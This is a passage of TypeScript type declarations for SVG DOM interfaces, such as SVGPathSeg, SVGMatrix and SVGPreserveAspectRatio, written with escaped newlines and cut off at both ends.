number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFETurbulenceElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFETurbulenceElement: {\\n    prototype: SVGFETurbulenceElement;\\n    new(): SVGFETurbulenceElement;\\n    readonly SVG_STITCHTYPE_NOSTITCH: number;\\n    readonly SVG_STITCHTYPE_STITCH: number;\\n    readonly SVG_STITCHTYPE_UNKNOWN: number;\\n    readonly SVG_TURBULENCE_TYPE_FRACTALNOISE: number;\\n    readonly SVG_TURBULENCE_TYPE_TURBULENCE: number;\\n    readonly SVG_TURBULENCE_TYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGFilterElement extends SVGElement, SVGUnitTypes, SVGURIReference {\\n    readonly filterResX: SVGAnimatedInteger;\\n    readonly filterResY: SVGAnimatedInteger;\\n    readonly filterUnits: SVGAnimatedEnumeration;\\n    readonly height: SVGAnimatedLength;\\n    readonly primitiveUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    setFilterRes(filterResX: number, filterResY: number): void;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGFilterElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGFilterElement: {\\n    prototype: SVGFilterElement;\\n    new(): SVGFilterElement;\\n};\\n\\ninterface SVGForeignObjectElement extends SVGGraphicsElement {\\n    readonly height: SVGAnimatedLength;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGForeignObjectElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGForeignObjectElement: {\\n    prototype: SVGForeignObjectElement;\\n    new(): SVGForeignObjectElement;\\n};\\n\\ninterface SVGGElement extends SVGGraphicsElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGElement: {\\n    prototype: SVGGElement;\\n    new(): SVGGElement;\\n};\\n\\ninterface SVGGradientElement extends SVGElement, SVGUnitTypes, SVGURIReference {\\n    readonly gradientTransform: SVGAnimatedTransformList;\\n    readonly gradientUnits: SVGAnimatedEnumeration;\\n    readonly spreadMethod: SVGAnimatedEnumeration;\\n    readonly SVG_SPREADMETHOD_PAD: number;\\n    readonly SVG_SPREADMETHOD_REFLECT: number;\\n    readonly SVG_SPREADMETHOD_REPEAT: number;\\n    readonly SVG_SPREADMETHOD_UNKNOWN: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGradientElement: {\\n    prototype: SVGGradientElement;\\n    new(): SVGGradientElement;\\n    readonly SVG_SPREADMETHOD_PAD: number;\\n    readonly SVG_SPREADMETHOD_REFLECT: number;\\n    readonly SVG_SPREADMETHOD_REPEAT: number;\\n    readonly SVG_SPREADMETHOD_UNKNOWN: number;\\n};\\n\\ninterface SVGGraphicsElement extends SVGElement, SVGTests {\\n    readonly farthestViewportElement: SVGElement;\\n    readonly nearestViewportElement: SVGElement;\\n    readonly transform: SVGAnimatedTransformList;\\n    getBBox(): SVGRect;\\n    getCTM(): SVGMatrix;\\n    getScreenCTM(): SVGMatrix;\\n    getTransformToElement(element: SVGElement): SVGMatrix;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGGraphicsElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGGraphicsElement: {\\n    prototype: SVGGraphicsElement;\\n    new(): SVGGraphicsElement;\\n};\\n\\ninterface SVGImageElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly height: SVGAnimatedLength;\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGImageElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGImageElement: {\\n    prototype: SVGImageElement;\\n    new(): SVGImageElement;\\n};\\n\\ninterface SVGLength {\\n    readonly unitType: number;\\n    value: number;\\n    valueAsString: string;\\n    valueInSpecifiedUnits: number;\\n    convertToSpecifiedUnits(unitType: number): void;\\n    newValueSpecifiedUnits(unitType: number, valueInSpecifiedUnits: number): void;\\n    readonly SVG_LENGTHTYPE_CM: number;\\n    readonly SVG_LENGTHTYPE_EMS: number;\\n    readonly SVG_LENGTHTYPE_EXS: number;\\n    readonly SVG_LENGTHTYPE_IN: number;\\n    readonly SVG_LENGTHTYPE_MM: number;\\n    readonly SVG_LENGTHTYPE_NUMBER: number;\\n    readonly SVG_LENGTHTYPE_PC: number;\\n    readonly SVG_LENGTHTYPE_PERCENTAGE: number;\\n    readonly SVG_LENGTHTYPE_PT: number;\\n    readonly SVG_LENGTHTYPE_PX: number;\\n    readonly SVG_LENGTHTYPE_UNKNOWN: number;\\n}\\n\\ndeclare var SVGLength: {\\n    prototype: SVGLength;\\n    new(): SVGLength;\\n    readonly SVG_LENGTHTYPE_CM: number;\\n    readonly SVG_LENGTHTYPE_EMS: number;\\n    readonly SVG_LENGTHTYPE_EXS: number;\\n    readonly SVG_LENGTHTYPE_IN: number;\\n    readonly SVG_LENGTHTYPE_MM: number;\\n    readonly SVG_LENGTHTYPE_NUMBER: number;\\n    readonly SVG_LENGTHTYPE_PC: number;\\n    readonly SVG_LENGTHTYPE_PERCENTAGE: number;\\n    readonly SVG_LENGTHTYPE_PT: number;\\n    readonly SVG_LENGTHTYPE_PX: number;\\n    readonly SVG_LENGTHTYPE_UNKNOWN: number;\\n};\\n\\ninterface SVGLengthList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGLength): SVGLength;\\n    clear(): void;\\n    getItem(index: number): SVGLength;\\n    initialize(newItem: SVGLength): SVGLength;\\n    insertItemBefore(newItem: SVGLength, index: number): SVGLength;\\n    removeItem(index: number): SVGLength;\\n    replaceItem(newItem: SVGLength, index: number): SVGLength;\\n}\\n\\ndeclare var SVGLengthList: {\\n    prototype: SVGLengthList;\\n    new(): SVGLengthList;\\n};\\n\\ninterface SVGLinearGradientElement extends SVGGradientElement {\\n    readonly x1: SVGAnimatedLength;\\n    readonly x2: SVGAnimatedLength;\\n    readonly y1: SVGAnimatedLength;\\n    readonly y2: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGLinearGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGLinearGradientElement: {\\n    prototype: SVGLinearGradientElement;\\n    new(): SVGLinearGradientElement;\\n};\\n\\ninterface SVGLineElement extends SVGGraphicsElement {\\n    readonly x1: SVGAnimatedLength;\\n    readonly x2: SVGAnimatedLength;\\n    readonly y1: SVGAnimatedLength;\\n    readonly y2: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGLineElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGLineElement: {\\n    prototype: SVGLineElement;\\n    new(): SVGLineElement;\\n};\\n\\ninterface SVGMarkerElement extends SVGElement, SVGFitToViewBox {\\n    readonly markerHeight: SVGAnimatedLength;\\n    readonly markerUnits: SVGAnimatedEnumeration;\\n    readonly markerWidth: SVGAnimatedLength;\\n    readonly orientAngle: SVGAnimatedAngle;\\n    readonly orientType: SVGAnimatedEnumeration;\\n    readonly refX: SVGAnimatedLength;\\n    readonly refY: SVGAnimatedLength;\\n    setOrientToAngle(angle: SVGAngle): void;\\n    setOrientToAuto(): void;\\n    readonly SVG_MARKER_ORIENT_ANGLE: number;\\n    readonly SVG_MARKER_ORIENT_AUTO: number;\\n    readonly SVG_MARKER_ORIENT_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_STROKEWIDTH: number;\\n    readonly SVG_MARKERUNITS_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_USERSPACEONUSE: number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMarkerElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMarkerElement: {\\n    prototype: SVGMarkerElement;\\n    new(): SVGMarkerElement;\\n    readonly SVG_MARKER_ORIENT_ANGLE: number;\\n    readonly SVG_MARKER_ORIENT_AUTO: number;\\n    readonly SVG_MARKER_ORIENT_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_STROKEWIDTH: number;\\n    readonly SVG_MARKERUNITS_UNKNOWN: number;\\n    readonly SVG_MARKERUNITS_USERSPACEONUSE: number;\\n};\\n\\ninterface SVGMaskElement extends SVGElement, SVGTests, SVGUnitTypes {\\n    readonly height: SVGAnimatedLength;\\n    readonly maskContentUnits: SVGAnimatedEnumeration;\\n    readonly maskUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMaskElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMaskElement: {\\n    prototype: SVGMaskElement;\\n    new(): SVGMaskElement;\\n};\\n\\ninterface SVGMatrix {\\n    a: number;\\n    b: number;\\n    c: number;\\n    d: number;\\n    e: number;\\n    f: number;\\n    flipX(): SVGMatrix;\\n    flipY(): SVGMatrix;\\n    inverse(): SVGMatrix;\\n    multiply(secondMatrix: SVGMatrix): SVGMatrix;\\n    rotate(angle: number): SVGMatrix;\\n    rotateFromVector(x: number, y: number): SVGMatrix;\\n    scale(scaleFactor: number): SVGMatrix;\\n    scaleNonUniform(scaleFactorX: number, scaleFactorY: number): SVGMatrix;\\n    skewX(angle: number): SVGMatrix;\\n    skewY(angle: number): SVGMatrix;\\n    translate(x: number, y: number): SVGMatrix;\\n}\\n\\ndeclare var SVGMatrix: {\\n    prototype: SVGMatrix;\\n    new(): SVGMatrix;\\n};\\n\\ninterface SVGMetadataElement extends SVGElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGMetadataElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGMetadataElement: {\\n    prototype: SVGMetadataElement;\\n    new(): SVGMetadataElement;\\n};\\n\\ninterface SVGNumber {\\n    value: number;\\n}\\n\\ndeclare var SVGNumber: {\\n    prototype: SVGNumber;\\n    new(): SVGNumber;\\n};\\n\\ninterface SVGNumberList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGNumber): SVGNumber;\\n    clear(): void;\\n    getItem(index: number): SVGNumber;\\n    initialize(newItem: SVGNumber): SVGNumber;\\n    insertItemBefore(newItem: SVGNumber, index: number): SVGNumber;\\n    removeItem(index: number): SVGNumber;\\n    replaceItem(newItem: SVGNumber, index: number): SVGNumber;\\n}\\n\\ndeclare var SVGNumberList: {\\n    prototype: SVGNumberList;\\n    new(): SVGNumberList;\\n};\\n\\ninterface SVGPathElement extends SVGGraphicsElement {\\n    readonly pathSegList: SVGPathSegList;\\n    createSVGPathSegArcAbs(x: number, y: number, r1: number, r2: number, angle: number, largeArcFlag: boolean, sweepFlag: boolean): SVGPathSegArcAbs;\\n    createSVGPathSegArcRel(x: number, y: number, r1: number, r2: number, angle: number, largeArcFlag: boolean, sweepFlag: boolean): SVGPathSegArcRel;\\n    createSVGPathSegClosePath(): SVGPathSegClosePath;\\n    createSVGPathSegCurvetoCubicAbs(x: number, y: number, x1: number, y1: number, x2: number, y2: number): SVGPathSegCurvetoCubicAbs;\\n    createSVGPathSegCurvetoCubicRel(x: number, y: number, x1: number, y1: number, x2: number, y2: number): SVGPathSegCurvetoCubicRel;\\n    createSVGPathSegCurvetoCubicSmoothAbs(x: number, y: number, x2: number, y2: number): SVGPathSegCurvetoCubicSmoothAbs;\\n    createSVGPathSegCurvetoCubicSmoothRel(x: number, y: number, x2: number, y2: number): SVGPathSegCurvetoCubicSmoothRel;\\n    createSVGPathSegCurvetoQuadraticAbs(x: number, y: number, x1: number, y1: number): SVGPathSegCurvetoQuadraticAbs;\\n    createSVGPathSegCurvetoQuadraticRel(x: number, y: number, x1: number, y1: number): SVGPathSegCurvetoQuadraticRel;\\n    createSVGPathSegCurvetoQuadraticSmoothAbs(x: number, y: number): SVGPathSegCurvetoQuadraticSmoothAbs;\\n    createSVGPathSegCurvetoQuadraticSmoothRel(x: number, y: number): SVGPathSegCurvetoQuadraticSmoothRel;\\n    createSVGPathSegLinetoAbs(x: number, y: number): SVGPathSegLinetoAbs;\\n    createSVGPathSegLinetoHorizontalAbs(x: number): SVGPathSegLinetoHorizontalAbs;\\n    createSVGPathSegLinetoHorizontalRel(x: number): SVGPathSegLinetoHorizontalRel;\\n    createSVGPathSegLinetoRel(x: number, y: number): SVGPathSegLinetoRel;\\n    createSVGPathSegLinetoVerticalAbs(y: number): SVGPathSegLinetoVerticalAbs;\\n    createSVGPathSegLinetoVerticalRel(y: number): SVGPathSegLinetoVerticalRel;\\n    createSVGPathSegMovetoAbs(x: number, y: number): SVGPathSegMovetoAbs;\\n    createSVGPathSegMovetoRel(x: number, y: number): SVGPathSegMovetoRel;\\n    getPathSegAtLength(distance: number): number;\\n    getPointAtLength(distance: number): SVGPoint;\\n    getTotalLength(): number;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPathElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPathElement: {\\n    prototype: SVGPathElement;\\n    new(): SVGPathElement;\\n};\\n\\ninterface SVGPathSeg {\\n    readonly pathSegType: number;\\n    readonly pathSegTypeAsLetter: string;\\n    readonly PATHSEG_ARC_ABS: number;\\n    readonly PATHSEG_ARC_REL: number;\\n    readonly PATHSEG_CLOSEPATH: number;\\n    readonly PATHSEG_CURVETO_CUBIC_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_REL: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL: number;\\n    readonly PATHSEG_LINETO_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_REL: number;\\n    readonly PATHSEG_LINETO_REL: number;\\n    readonly PATHSEG_LINETO_VERTICAL_ABS: number;\\n    readonly PATHSEG_LINETO_VERTICAL_REL: number;\\n    readonly PATHSEG_MOVETO_ABS: number;\\n    readonly PATHSEG_MOVETO_REL: number;\\n    readonly PATHSEG_UNKNOWN: number;\\n}\\n\\ndeclare var SVGPathSeg: {\\n    prototype: SVGPathSeg;\\n    new(): SVGPathSeg;\\n    readonly PATHSEG_ARC_ABS: number;\\n    readonly PATHSEG_ARC_REL: number;\\n    readonly PATHSEG_CLOSEPATH: number;\\n    readonly PATHSEG_CURVETO_CUBIC_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_REL: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_CUBIC_SMOOTH_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_REL: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS: number;\\n    readonly PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL: number;\\n    readonly PATHSEG_LINETO_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_ABS: number;\\n    readonly PATHSEG_LINETO_HORIZONTAL_REL: number;\\n    readonly PATHSEG_LINETO_REL: number;\\n    readonly PATHSEG_LINETO_VERTICAL_ABS: number;\\n    readonly PATHSEG_LINETO_VERTICAL_REL: number;\\n    readonly PATHSEG_MOVETO_ABS: number;\\n    readonly PATHSEG_MOVETO_REL: number;\\n    readonly PATHSEG_UNKNOWN: number;\\n};\\n\\ninterface SVGPathSegArcAbs extends SVGPathSeg {\\n    angle: number;\\n    largeArcFlag: boolean;\\n    r1: number;\\n    r2: number;\\n    sweepFlag: boolean;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegArcAbs: {\\n    prototype: SVGPathSegArcAbs;\\n    new(): SVGPathSegArcAbs;\\n};\\n\\ninterface SVGPathSegArcRel extends SVGPathSeg {\\n    angle: number;\\n    largeArcFlag: boolean;\\n    r1: number;\\n    r2: number;\\n    sweepFlag: boolean;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegArcRel: {\\n    prototype: SVGPathSegArcRel;\\n    new(): SVGPathSegArcRel;\\n};\\n\\ninterface SVGPathSegClosePath extends SVGPathSeg {\\n}\\n\\ndeclare var SVGPathSegClosePath: {\\n    prototype: SVGPathSegClosePath;\\n    new(): SVGPathSegClosePath;\\n};\\n\\ninterface SVGPathSegCurvetoCubicAbs extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    x2: number;\\n    y: number;\\n    y1: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicAbs: {\\n    prototype: SVGPathSegCurvetoCubicAbs;\\n    new(): SVGPathSegCurvetoCubicAbs;\\n};\\n\\ninterface SVGPathSegCurvetoCubicRel extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    x2: number;\\n    y: number;\\n    y1: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicRel: {\\n    prototype: SVGPathSegCurvetoCubicRel;\\n    new(): SVGPathSegCurvetoCubicRel;\\n};\\n\\ninterface SVGPathSegCurvetoCubicSmoothAbs extends SVGPathSeg {\\n    x: number;\\n    x2: number;\\n    y: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicSmoothAbs: {\\n    prototype: SVGPathSegCurvetoCubicSmoothAbs;\\n    new(): SVGPathSegCurvetoCubicSmoothAbs;\\n};\\n\\ninterface SVGPathSegCurvetoCubicSmoothRel extends SVGPathSeg {\\n    x: number;\\n    x2: number;\\n    y: number;\\n    y2: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoCubicSmoothRel: {\\n    prototype: SVGPathSegCurvetoCubicSmoothRel;\\n    new(): SVGPathSegCurvetoCubicSmoothRel;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticAbs extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    y: number;\\n    y1: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticAbs: {\\n    prototype: SVGPathSegCurvetoQuadraticAbs;\\n    new(): SVGPathSegCurvetoQuadraticAbs;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticRel extends SVGPathSeg {\\n    x: number;\\n    x1: number;\\n    y: number;\\n    y1: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticRel: {\\n    prototype: SVGPathSegCurvetoQuadraticRel;\\n    new(): SVGPathSegCurvetoQuadraticRel;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticSmoothAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticSmoothAbs: {\\n    prototype: SVGPathSegCurvetoQuadraticSmoothAbs;\\n    new(): SVGPathSegCurvetoQuadraticSmoothAbs;\\n};\\n\\ninterface SVGPathSegCurvetoQuadraticSmoothRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegCurvetoQuadraticSmoothRel: {\\n    prototype: SVGPathSegCurvetoQuadraticSmoothRel;\\n    new(): SVGPathSegCurvetoQuadraticSmoothRel;\\n};\\n\\ninterface SVGPathSegLinetoAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoAbs: {\\n    prototype: SVGPathSegLinetoAbs;\\n    new(): SVGPathSegLinetoAbs;\\n};\\n\\ninterface SVGPathSegLinetoHorizontalAbs extends SVGPathSeg {\\n    x: number;\\n}\\n\\ndeclare var SVGPathSegLinetoHorizontalAbs: {\\n    prototype: SVGPathSegLinetoHorizontalAbs;\\n    new(): SVGPathSegLinetoHorizontalAbs;\\n};\\n\\ninterface SVGPathSegLinetoHorizontalRel extends SVGPathSeg {\\n    x: number;\\n}\\n\\ndeclare var SVGPathSegLinetoHorizontalRel: {\\n    prototype: SVGPathSegLinetoHorizontalRel;\\n    new(): SVGPathSegLinetoHorizontalRel;\\n};\\n\\ninterface SVGPathSegLinetoRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoRel: {\\n    prototype: SVGPathSegLinetoRel;\\n    new(): SVGPathSegLinetoRel;\\n};\\n\\ninterface SVGPathSegLinetoVerticalAbs extends SVGPathSeg {\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoVerticalAbs: {\\n    prototype: SVGPathSegLinetoVerticalAbs;\\n    new(): SVGPathSegLinetoVerticalAbs;\\n};\\n\\ninterface SVGPathSegLinetoVerticalRel extends SVGPathSeg {\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegLinetoVerticalRel: {\\n    prototype: SVGPathSegLinetoVerticalRel;\\n    new(): SVGPathSegLinetoVerticalRel;\\n};\\n\\ninterface SVGPathSegList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGPathSeg): SVGPathSeg;\\n    clear(): void;\\n    getItem(index: number): SVGPathSeg;\\n    initialize(newItem: SVGPathSeg): SVGPathSeg;\\n    insertItemBefore(newItem: SVGPathSeg, index: number): SVGPathSeg;\\n    removeItem(index: number): SVGPathSeg;\\n    replaceItem(newItem: SVGPathSeg, index: number): SVGPathSeg;\\n}\\n\\ndeclare var SVGPathSegList: {\\n    prototype: SVGPathSegList;\\n    new(): SVGPathSegList;\\n};\\n\\ninterface SVGPathSegMovetoAbs extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegMovetoAbs: {\\n    prototype: SVGPathSegMovetoAbs;\\n    new(): SVGPathSegMovetoAbs;\\n};\\n\\ninterface SVGPathSegMovetoRel extends SVGPathSeg {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGPathSegMovetoRel: {\\n    prototype: SVGPathSegMovetoRel;\\n    new(): SVGPathSegMovetoRel;\\n};\\n\\ninterface SVGPatternElement extends SVGElement, SVGTests, SVGUnitTypes, SVGFitToViewBox, SVGURIReference {\\n    readonly height: SVGAnimatedLength;\\n    readonly patternContentUnits: SVGAnimatedEnumeration;\\n    readonly patternTransform: SVGAnimatedTransformList;\\n    readonly patternUnits: SVGAnimatedEnumeration;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPatternElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPatternElement: {\\n    prototype: SVGPatternElement;\\n    new(): SVGPatternElement;\\n};\\n\\ninterface SVGPoint {\\n    x: number;\\n    y: number;\\n    matrixTransform(matrix: SVGMatrix): SVGPoint;\\n}\\n\\ndeclare var SVGPoint: {\\n    prototype: SVGPoint;\\n    new(): SVGPoint;\\n};\\n\\ninterface SVGPointList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGPoint): SVGPoint;\\n    clear(): void;\\n    getItem(index: number): SVGPoint;\\n    initialize(newItem: SVGPoint): SVGPoint;\\n    insertItemBefore(newItem: SVGPoint, index: number): SVGPoint;\\n    removeItem(index: number): SVGPoint;\\n    replaceItem(newItem: SVGPoint, index: number): SVGPoint;\\n}\\n\\ndeclare var SVGPointList: {\\n    prototype: SVGPointList;\\n    new(): SVGPointList;\\n};\\n\\ninterface SVGPolygonElement extends SVGGraphicsElement, SVGAnimatedPoints {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPolygonElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPolygonElement: {\\n    prototype: SVGPolygonElement;\\n    new(): SVGPolygonElement;\\n};\\n\\ninterface SVGPolylineElement extends SVGGraphicsElement, SVGAnimatedPoints {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGPolylineElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGPolylineElement: {\\n    prototype: SVGPolylineElement;\\n    new(): SVGPolylineElement;\\n};\\n\\ninterface SVGPreserveAspectRatio {\\n    align: number;\\n    meetOrSlice: number;\\n    readonly SVG_MEETORSLICE_MEET: number;\\n    readonly SVG_MEETORSLICE_SLICE: number;\\n    readonly SVG_MEETORSLICE_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_NONE: number;\\n    readonly SVG_PRESERVEASPECTRATIO_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMIN: number;\\n}\\n\\ndeclare var SVGPreserveAspectRatio: {\\n    prototype: SVGPreserveAspectRatio;\\n    new(): SVGPreserveAspectRatio;\\n    readonly SVG_MEETORSLICE_MEET: number;\\n    readonly SVG_MEETORSLICE_SLICE: number;\\n    readonly SVG_MEETORSLICE_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_NONE: number;\\n    readonly SVG_PRESERVEASPECTRATIO_UNKNOWN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMAXYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMIDYMIN: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMAX: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMID: number;\\n    readonly SVG_PRESERVEASPECTRATIO_XMINYMIN: number;\\n};\\n\\ninterface SVGRadialGradientElement extends SVGGradientElement {\\n    readonly cx: SVGAnimatedLength;\\n    readonly cy: SVGAnimatedLength;\\n    readonly fx: SVGAnimatedLength;\\n    readonly fy: SVGAnimatedLength;\\n    readonly r: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGRadialGradientElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGRadialGradientElement: {\\n    prototype: SVGRadialGradientElement;\\n    new(): SVGRadialGradientElement;\\n};\\n\\ninterface SVGRect {\\n    height: number;\\n    width: number;\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var SVGRect: {\\n    prototype: SVGRect;\\n    new(): SVGRect;\\n};\\n\\ninterface SVGRectElement extends 